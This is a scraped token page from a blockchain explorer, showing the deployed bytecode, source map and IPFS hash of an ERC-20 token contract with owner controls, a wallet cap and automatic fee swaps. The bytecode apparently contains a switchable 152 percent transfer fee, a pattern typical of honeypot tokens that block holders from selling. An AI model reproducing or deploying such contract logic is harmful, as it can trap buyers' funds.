050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6957610e696111c4565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee691906111da565b81600181518110610ef957610ef96111c4565b6001600160a01b039283166020918202929092010152600e54610f1f9130911684610994565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f589085906000908690309042906004016111f7565b600060405180830381600087803b158015610f7257600080fd5b505af1158015610c67573d6000803e3d6000fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610fbc573d6000803e3d6000fd5b505050565b60006109818284611268565b600081610fdb576000610fea565b6c7e37be2022c0914b26800000005b6cffffffffffffffffffffffffff1692915050565b600060208083528351808285015260005b8181101561102c57858101830151858201604001528201611010565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461106257600080fd5b50565b6000806040838503121561107857600080fd5b82356110838161104d565b946020939093013593505050565b6000602082840312156110a357600080fd5b81356109818161104d565b6000806000606084860312156110c357600080fd5b83356110ce8161104d565b925060208401356110de8161104d565b929592945050506040919091013590565b6000806040838503121561110257600080fd5b823561110d8161104d565b9150602083013561111d8161104d565b809150509250929050565b600181811c9082168061113c57607f821691505b60208210810361115c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761060757610607611162565b6000826111ac57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561060757610607611162565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111ec57600080fd5b81516109818161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112475784516001600160a01b031683529383019391830191600101611222565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106075761060761116256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c15133755b239ae6f873e23ee0ed2958bc32173b07796f275454033ab7fc5d2a64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c8063715018a6116100ec578063af465a271161008a578063d28d885211610064578063d28d8852146104b9578063d8a2c30d146104ce578063dd62ed3e146104fe578063f2fde38b1461054457600080fd5b8063af465a271461045e578063b09f126614610474578063bfede1e51461048957600080fd5b806395d89b41116100c657806395d89b41146103f3578063a457c2d714610408578063a9059cbb14610428578063aa4bde281461044857600080fd5b8063715018a6146103a85780638c0b5e22146103bf5780638da5cb5b146103d557600080fd5b8063220f6696116101595780633950935111610133578063395093511461031157806349bd5a5e146103315780634a74bb021461035157806370a082311461037257600080fd5b8063220f6696146102ae57806323b872dd146102cf578063313ce567146102ef57600080fd5b806306fdde03146101ac578063095ea7b3146101d757806315120e5b146102075780631694505e1461023f57806317b901a21461025f57806318160ddd1461028f57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610564565b6040516101ce9190610fff565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611065565b6105f6565b60405190151581526020016101ce565b34801561021357600080fd5b50600654610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b50600e54610227906001600160a01b031681565b34801561026b57600080fd5b506101f761027a366004611091565b60036020526000908152604090205460ff1681565b34801561029b57600080fd5b50600a545b6040519081526020016101ce565b3480156102ba57600080fd5b50600f546101f790600160a01b900460ff1681565b3480156102db57600080fd5b506101f76102ea3660046110ae565b61060d565b3480156102fb57600080fd5b5060095460405160ff90911681526020016101ce565b34801561031d57600080fd5b506101f761032c366004611065565b610676565b34801561033d57600080fd5b50600f54610227906001600160a01b031681565b34801561035d57600080fd5b50600f546101f790600160a81b900460ff1681565b34801561037e57600080fd5b506102a061038d366004611091565b6001600160a01b031660009081526001602052604090205490565b3480156103b457600080fd5b506103bd6106ac565b005b3480156103cb57600080fd5b506102a0600d5481565b3480156103e157600080fd5b506000546001600160a01b0316610227565b3480156103ff57600080fd5b506101c1610755565b34801561041457600080fd5b506101f7610423366004611065565b610764565b34801561043457600080fd5b506101f7610443366004611065565b6107b3565b34801561045457600080fd5b506102a0600c5481565b34801561046a57600080fd5b506102a0600a5481565b34801561048057600080fd5b506101c16107c0565b34801561049557600080fd5b506101f76104a4366004611091565b60056020526000908152604090205460ff1681565b3480156104c557600080fd5b506101c161084e565b3480156104da57600080fd5b506101f76104e9366004611091565b60046020526000908152604090205460ff1681565b34801561050a57600080fd5b506102a06105193660046110ef565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055057600080fd5b506103bd61055f366004611091565b61085b565b60606007805461057390611128565b80601f016020809104026020016040519081016040528092919081815260200182805461059f90611128565b80156105ec5780601f106105c1576101008083540402835291602001916105ec565b820191906000526020600020905b8154815290600101906020018083116105cf57829003601f168201915b5050505050905090565b6000610603338484610994565b5060015b92915050565b600061061a848484610a50565b61066c84336106678560405180606001604052806028815260200161127c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c6f565b610994565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106039185906106679086610c9b565b6000546001600160a01b0316331461070b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606008805461057390611128565b60006106033384610667856040518060600160405280602581526020016112a4602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c6f565b6000610603338484610a50565b600880546107cd90611128565b80601f01602080910402602001604051908101604052809291908181526020018280546107f990611128565b80156108465780601f1061081b57610100808354040283529160200191610846565b820191906000526020600020905b81548152906001019060200180831161082957829003601f168201915b505050505081565b600780546107cd90611128565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610702565b6001600160a01b03811661091a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610702565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006109818284611178565b9392505050565b6000610981828461118f565b6001600160a01b038316158015906109b457506001600160a01b03821615155b6109ef5760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610702565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526004602052604090205460ff16610ae6576001600160a01b038216600090815260016020526040902054600c54610a9683836111b1565b1115610ae45760405162461bcd60e51b815260206004820152601760248201527f4d61782057616c6c6574204c696d6974204578636565640000000000000000006044820152606401610702565b505b600b5460ff61010082048116911610801590610b0c5750600f54600160a01b900460ff16155b8015610b265750600f546001600160a01b03848116911614155b8015610b3b5750600f54600160a81b900460ff165b15610b7a57600b805460ff1916905530600090815260016020526040902054600d54811115610b695750600d545b8015610b7857610b7881610ca7565b505b6001600160a01b038083166000908152600360209081526040808320549387168352600590915290205460019160ff908116911680610bd157506001600160a01b03841660009081526005602052604090205460ff165b80610be95750600f546001600160a01b038681169116145b15610c3857600f5460009250600160b01b900460ff16610c38576001600160a01b03841660009081526003602052604090205460ff1615610c3857600f805460ff60b01b1916600160b01b1790555b600f54600090600160b01b900460ff1615610c54576098610c57565b60005b9050610c67838787878686610ce9565b505050505050565b60008184841115610c935760405162461bcd60e51b81526004016107029190610fff565b505050900390565b600061098182846111b1565b600f805460ff60a01b1916600160a01b179055610cc381610e34565b600654610cd9906001600160a01b031647610f86565b50600f805460ff60a01b19169055565b6001600160a01b03851660009081526001602052604081205482908490610d109087610fc1565b6001600160a01b038916600090815260016020526040902055888015610d34575080155b15610d5457610d516064610d4b8860ff8616610975565b90610988565b92505b610d92610d83610d648886610fc1565b6001600160a01b038a1660009081526001602052604090205490610c9b565b610d8c83610fcd565b90610c9b565b6001600160a01b0388166000908152600160205260409020558215610ddc5730600090815260016020526040902054610dcb9084610c9b565b306000908152600160205260409020555b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88604051610e2191815260200190565b60405180910390a3505050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6957610e696111c4565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee691906111da565b81600181518110610ef957610ef96111c4565b6001600160a01b039283166020918202929092010152600e54610f1f9130911684610994565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f589085906000908690309042906004016111f7565b600060405180830381600087803b158015610f7257600080fd5b505af1158015610c67573d6000803e3d6000fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610fbc573d6000803e3d6000fd5b505050565b60006109818284611268565b600081610fdb576000610fea565b6c7e37be2022c0914b26800000005b6cffffffffffffffffffffffffff1692915050565b600060208083528351808285015260005b8181101561102c57858101830151858201604001528201611010565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461106257600080fd5b50565b6000806040838503121561107857600080fd5b82356110838161104d565b946020939093013593505050565b6000602082840312156110a357600080fd5b81356109818161104d565b6000806000606084860312156110c357600080fd5b83356110ce8161104d565b925060208401356110de8161104d565b929592945050506040919091013590565b6000806040838503121561110257600080fd5b823561110d8161104d565b9150602083013561111d8161104d565b809150509250929050565b600181811c9082168061113c57607f821691505b60208210810361115c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761060757610607611162565b6000826111ac57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561060757610607611162565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111ec57600080fd5b81516109818161104d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112475784516001600160a01b031683529383019391830191600101611222565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106075761060761116256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c15133755b239ae6f873e23ee0ed2958bc32173b07796f275454033ab7fc5d2a64736f6c63430008120033
Deployed Bytecode Sourcemap
14709:7140:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17000:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17831:161;;;;;;;;;;-1:-1:-1;17831:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17831:161:0;1023:187:1;15133:93:0;;;;;;;;;;-1:-1:-1;15133:93:0;;;;-1:-1:-1;;;;;15133:93:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;15133:93:0;1215:219:1;15625:41:0;;;;;;;;;;-1:-1:-1;15625:41:0;;;;-1:-1:-1;;;;;15625:41:0;;;14956:48;;;;;;;;;;-1:-1:-1;14956:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17182:95;;;;;;;;;;-1:-1:-1;17262:7:0;;17182:95;;;2072:25:1;;;2060:2;2045:18;17182:95:0;1926:177:1;15708:28:0;;;;;;;;;;-1:-1:-1;15708:28:0;;;;-1:-1:-1;;;15708:28:0;;;;;;18000:313;;;;;;;;;;-1:-1:-1;18000:313:0;;;;;:::i;:::-;;:::i;17091:83::-;;;;;;;;;;-1:-1:-1;17157:9:0;;17091:83;;17157:9;;;;2711:36:1;;2699:2;2684:18;17091:83:0;2569:184:1;18321:218:0;;;;;;;;;;-1:-1:-1;18321:218:0;;;;;:::i;:::-;;:::i;15673:28::-;;;;;;;;;;-1:-1:-1;15673:28:0;;;;-1:-1:-1;;;;;15673:28:0;;;15743:40;;;;;;;;;;-1:-1:-1;15743:40:0;;;;-1:-1:-1;;;15743:40:0;;;;;;17380:117;;;;;;;;;;-1:-1:-1;17380:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17473:16:0;17446:7;17473:16;;;:7;:16;;;;;;;17380:117;6494:148;;;;;;;;;;;;;:::i;:::-;;15572:44;;;;;;;;;;;;;;;;6271:87;;;;;;;;;;-1:-1:-1;6317:7:0;6344:6;-1:-1:-1;;;;;6344:6:0;6271:87;;17285;;;;;;;;;;;;;:::i;18547:269::-;;;;;;;;;;-1:-1:-1;18547:269:0;;;;;:::i;:::-;;:::i;17505:167::-;;;;;;;;;;-1:-1:-1;17505:167:0;;;;;:::i;:::-;;:::i;15506:59::-;;;;;;;;;;;;;;;;15371:51;;;;;;;;;;;;;;;;15299:31;;;;;;;;;;;;;:::i;15072:48::-;;;;;;;;;;-1:-1:-1;15072:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15260:32;;;;;;;;;;;;;:::i;15011:54::-;;;;;;;;;;-1:-1:-1;15011:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17680:143;;;;;;;;;;-1:-1:-1;17680:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17788:18:0;;;17761:7;17788:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17680:143;6650:244;;;;;;;;;;-1:-1:-1;6650:244:0;;;;;:::i;:::-;;:::i;17000:83::-;17037:13;17070:5;17063:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17000:83;:::o;17831:161::-;17906:4;17923:39;2500:10;17946:7;17955:6;17923:8;:39::i;:::-;-1:-1:-1;17980:4:0;17831:161;;;;;:::o;18000:313::-;18098:4;18115:36;18125:6;18133:9;18144:6;18115:9;:36::i;:::-;18162:121;18171:6;2500:10;18193:89;18231:6;18193:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18193:19:0;;;;;;:11;:19;;;;;;;;2500:10;18193:33;;;;;;;;;;:37;:89::i;:::-;18162:8;:121::i;:::-;-1:-1:-1;18301:4:0;18000:313;;;;;:::o;18321:218::-;2500:10;18409:4;18458:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18458:34:0;;;;;;;;;;18409:4;;18426:83;;18449:7;;18458:50;;18497:10;18458:38;:50::i;6494:148::-;6317:7;6344:6;-1:-1:-1;;;;;6344:6:0;2500:10;6406:23;6398:68;;;;-1:-1:-1;;;6398:68:0;;3946:2:1;6398:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;6398:68:0;;;;;;;;;6601:1:::1;6585:6:::0;;6564:40:::1;::::0;-1:-1:-1;;;;;6585:6:0;;::::1;::::0;6564:40:::1;::::0;6601:1;;6564:40:::1;6632:1;6615:19:::0;;-1:-1:-1;;;;;;6615:19:0::1;::::0;;6494:148::o;17285:87::-;17324:13;17357:7;17350:14;;;;;:::i;18547:269::-;18640:4;18657:129;2500:10;18680:7;18689:96;18728:15;18689:96;;;;;;;;;;;;;;;;;2500:10;18689:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18689:34:0;;;;;;;;;;;;:38;:96::i;17505:167::-;17583:4;17600:42;2500:10;17624:9;17635:6;17600:9;:42::i;15299:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15260:32::-;;;;;;;:::i;6650:244::-;6317:7;6344:6;-1:-1:-1;;;;;6344:6:0;2500:10;6406:23;6398:68;;;;-1:-1:-1;;;6398:68:0;;3946:2:1;6398:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;6398:68:0;3744:356:1;6398:68:0;-1:-1:-1;;;;;6739:22:0;::::1;6731:73;;;::::0;-1:-1:-1;;;6731:73:0;;4307:2:1;6731:73:0::1;::::0;::::1;4289:21:1::0;4346:2;4326:18;;;4319:30;4385:34;4365:18;;;4358:62;-1:-1:-1;;;4436:18:1;;;4429:36;4482:19;;6731:73:0::1;4105:402:1::0;6731:73:0::1;6841:6;::::0;;6820:38:::1;::::0;-1:-1:-1;;;;;6820:38:0;;::::1;::::0;6841:6;::::1;::::0;6820:38:::1;::::0;::::1;6869:6;:17:::0;;-1:-1:-1;;;;;;6869:17:0::1;-1:-1:-1::0;;;;;6869:17:0;;;::::1;::::0;;;::::1;::::0;;6650:244::o;1735:98::-;1793:7;1820:5;1824:1;1820;:5;:::i;:::-;1813:12;1735:98;-1:-1:-1;;;1735:98:0:o;1845:::-;1903:7;1930:5;1934:1;1930;:5;:::i;18865:257::-;-1:-1:-1;;;;;18958:19:0;;;;;;:44;;-1:-1:-1;;;;;;18981:21:0;;;;18958:44;18950:69;;;;-1:-1:-1;;;18950:69:0;;5241:2:1;18950:69:0;;;5223:21:1;5280:2;5260:18;;;5253:30;-1:-1:-1;;;5299:18:1;;;5292:42;5351:18;;18950:69:0;5039:336:1;18950:69:0;-1:-1:-1;;;;;19030:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19082:32;;2072:25:1;;;19082:32:0;;2045:18:1;19082:32:0;;;;;;;18865:257;;;:::o;19130:1202::-;-1:-1:-1;;;;;19213:25:0;;;;;;:21;:25;;;;;;;;19208:197;;-1:-1:-1;;;;;17473:16:0;;19254:25;17473:16;;;:7;:16;;;;;;19350:15;;19319:26;19339:6;17473:16;19319:26;:::i;:::-;19318:47;;19310:83;;;;-1:-1:-1;;;19310:83:0;;5712:2:1;19310:83:0;;;5694:21:1;5751:2;5731:18;;;5724:30;5790:25;5770:18;;;5763:53;5833:18;;19310:83:0;5510:347:1;19310:83:0;19239:166;19208:197;19439:11;;;;;;;;19428:7;;:22;;;;:43;;-1:-1:-1;19455:16:0;;-1:-1:-1;;;19455:16:0;;;;19454:17;19428:43;:68;;;;-1:-1:-1;19483:13:0;;-1:-1:-1;;;;;19475:21:0;;;19483:13;;19475:21;;19428:68;:93;;;;-1:-1:-1;19500:21:0;;-1:-1:-1;;;19500:21:0;;;;19428:93;19425:407;;;19540:7;:11;;-1:-1:-1;;19540:11:0;;;19615:4;-1:-1:-1;17473:16:0;;;-1:-1:-1;17473:16:0;;;;;;19662:11;;19639:34;;19636:76;;;-1:-1:-1;19699:11:0;;19636:76;19729:24;;19726:95;;19769:36;19784:20;19769:14;:36::i;:::-;19523:309;19425:407;-1:-1:-1;;;;;19898:19:0;;;19852:12;19898:19;;;:15;:19;;;;;;;;;19942:21;;;;;:15;:21;;;;;;19867:4;;19898:19;;;;;19942:21;;:44;;-1:-1:-1;;;;;;19967:19:0;;;;;;:15;:19;;;;;;;;19942:44;:72;;;-1:-1:-1;20000:13:0;;-1:-1:-1;;;;;19992:21:0;;;20000:13;;19992:21;19942:72;19939:260;;;20064:14;;20040:5;;-1:-1:-1;;;;20064:14:0;;;;20060:128;;-1:-1:-1;;;;;20102:19:0;;;;;;:15;:19;;;;;;;;20099:69;;;20145:14;:21;;-1:-1:-1;;;;20145:21:0;-1:-1:-1;;;20145:21:0;;;20099:69;20223:14;;20209:10;;-1:-1:-1;;;20223:14:0;;;;20222:15;:28;;20246:4;20222:28;;;20240:3;20222:28;20209:41;;20271:53;20287:7;20295:4;20300:2;20303:6;20310:8;20319:4;20271:15;:53::i;:::-;19197:1135;;;19130:1202;;;:::o;1951:206::-;2037:7;2098:12;2090:6;;;;2082:29;;;;-1:-1:-1;;;2082:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2133:5:0;;;1951:206::o;1523:98::-;1581:7;1608:5;1612:1;1608;:5;:::i;20577:194::-;16050:16;:23;;-1:-1:-1;;;;16050:23:0;-1:-1:-1;;;16050:23:0;;;20662:38:::1;20679:20:::0;20662:16:::1;:38::i;:::-;20724:16;::::0;20711:52:::1;::::0;-1:-1:-1;;;;;20724:16:0::1;20741:21;20711:12;:52::i;:::-;-1:-1:-1::0;16096:16:0;:24;;-1:-1:-1;;;;16096:24:0;;;20577:194::o;21178:668::-;-1:-1:-1;;;;;21429:15:0;;21319:18;21429:15;;;:7;:15;;;;;;21361:8;;21387:13;;21429:28;;21449:7;21429:19;:28::i;:::-;-1:-1:-1;;;;;21411:15:0;;;;;;:7;:15;;;;;:46;21471:7;:20;;;;;21483:8;21482:9;21471:20;21468:95;;;21520:31;21547:3;21520:22;:7;:22;;;:11;:22::i;:::-;:26;;:31::i;:::-;21507:44;;21468:95;21594:74;21620:47;21643:23;:7;21655:10;21643:11;:23::i;:::-;-1:-1:-1;;;;;21620:18:0;;;;;;:7;:18;;;;;;;:22;:47::i;:::-;21594:21;21606:8;21594:11;:21::i;:::-;:25;;:74::i;:::-;-1:-1:-1;;;;;21573:18:0;;;;;;:7;:18;;;;;:95;21682:14;;21679:108;;21753:4;21737:22;;;;:7;:22;;;;;;:38;;21764:10;21737:26;:38::i;:::-;21728:4;21712:22;;;;:7;:22;;;;;:63;21679:108;21819:9;-1:-1:-1;;;;;21802:36:0;21811:6;-1:-1:-1;;;;;21802:36:0;;21830:7;21802:36;;;;2072:25:1;;2060:2;2045:18;;1926:177;21802:36:0;;;;;;;;21308:538;;;21178:668;;;;;;:::o;20779:391::-;20869:16;;;20883:1;20869:16;;;;;;;;20845:21;;20869:16;;;;;;;;;;-1:-1:-1;20869:16:0;20845:40;;20914:4;20896;20901:1;20896:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20896:23:0;;;:7;;;;;;;;;;:23;;;;20940:15;;:22;;;-1:-1:-1;;;20940:22:0;;;;:15;;;;;:20;;:22;;;;;20896:7;;20940:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20930:4;20935:1;20930:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20930:32:0;;;:7;;;;;;;;;:32;21005:15;;20973:62;;20990:4;;21005:15;21023:11;20973:8;:62::i;:::-;21046:15;;:116;;-1:-1:-1;;;21046:116:0;;-1:-1:-1;;;;;21046:15:0;;;;:66;;:116;;21113:11;;21046:15;;21127:4;;21140;;21146:15;;21046:116;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20340:112;20421:23;;-1:-1:-1;;;;;20421:15:0;;;:23;;;;;20437:6;;20421:23;;;;20437:6;20421:15;:23;;;;;;;;;;;;;;;;;;;;;20340:112;;:::o;1629:98::-;1687:7;1714:5;1718:1;1714;:5;:::i;20460:109::-;20512:7;20538:3;:23;;20558:3;20538:23;;;20544:11;20538:23;20531:30;;;20460:109;-1:-1:-1;;20460:109:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1674:247::-;1733:6;1786:2;1774:9;1765:7;1761:23;1757:32;1754:52;;;1802:1;1799;1792:12;1754:52;1841:9;1828:23;1860:31;1885:5;1860:31;:::i;2108:456::-;2185:6;2193;2201;2254:2;2242:9;2233:7;2229:23;2225:32;2222:52;;;2270:1;2267;2260:12;2222:52;2309:9;2296:23;2328:31;2353:5;2328:31;:::i;:::-;2378:5;-1:-1:-1;2435:2:1;2420:18;;2407:32;2448:33;2407:32;2448:33;:::i;:::-;2108:456;;2500:7;;-1:-1:-1;;;2554:2:1;2539:18;;;;2526:32;;2108:456::o;2966:388::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3150:9;3137:23;3169:31;3194:5;3169:31;:::i;:::-;3219:5;-1:-1:-1;3276:2:1;3261:18;;3248:32;3289:33;3248:32;3289:33;:::i;:::-;3341:7;3331:17;;;2966:388;;;;;:::o;3359:380::-;3438:1;3434:12;;;;3481;;;3502:61;;3556:4;3548:6;3544:17;3534:27;;3502:61;3609:2;3601:6;3598:14;3578:18;3575:38;3572:161;;3655:10;3650:3;3646:20;3643:1;3636:31;3690:4;3687:1;3680:15;3718:4;3715:1;3708:15;3572:161;;3359:380;;;:::o;4512:127::-;4573:10;4568:3;4564:20;4561:1;4554:31;4604:4;4601:1;4594:15;4628:4;4625:1;4618:15;4644:168;4717:9;;;4748;;4765:15;;;4759:22;;4745:37;4735:71;;4786:18;;:::i;4817:217::-;4857:1;4883;4873:132;;4927:10;4922:3;4918:20;4915:1;4908:31;4962:4;4959:1;4952:15;4990:4;4987:1;4980:15;4873:132;-1:-1:-1;5019:9:1;;4817:217::o;5380:125::-;5445:9;;;5466:10;;;5463:36;;;5479:18;;:::i;5994:127::-;6055:10;6050:3;6046:20;6043:1;6036:31;6086:4;6083:1;6076:15;6110:4;6107:1;6100:15;6126:251;6196:6;6249:2;6237:9;6228:7;6224:23;6220:32;6217:52;;;6265:1;6262;6255:12;6217:52;6297:9;6291:16;6316:31;6341:5;6316:31;:::i;6382:980::-;6644:4;6692:3;6681:9;6677:19;6723:6;6712:9;6705:25;6749:2;6787:6;6782:2;6771:9;6767:18;6760:34;6830:3;6825:2;6814:9;6810:18;6803:31;6854:6;6889;6883:13;6920:6;6912;6905:22;6958:3;6947:9;6943:19;6936:26;;6997:2;6989:6;6985:15;6971:29;;7018:1;7028:195;7042:6;7039:1;7036:13;7028:195;;;7107:13;;-1:-1:-1;;;;;7103:39:1;7091:52;;7198:15;;;;7163:12;;;;7139:1;7057:9;7028:195;;;-1:-1:-1;;;;;;;7279:32:1;;;;7274:2;7259:18;;7252:60;-1:-1:-1;;;7343:3:1;7328:19;7321:35;7240:3;6382:980;-1:-1:-1;;;6382:980:1:o;7367:128::-;7434:9;;;7455:11;;;7452:37;;;7469:18;;:::i
Swarm Source
ipfs://c15133755b239ae6f873e23ee0ed2958bc32173b07796f275454033ab7fc5d2a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.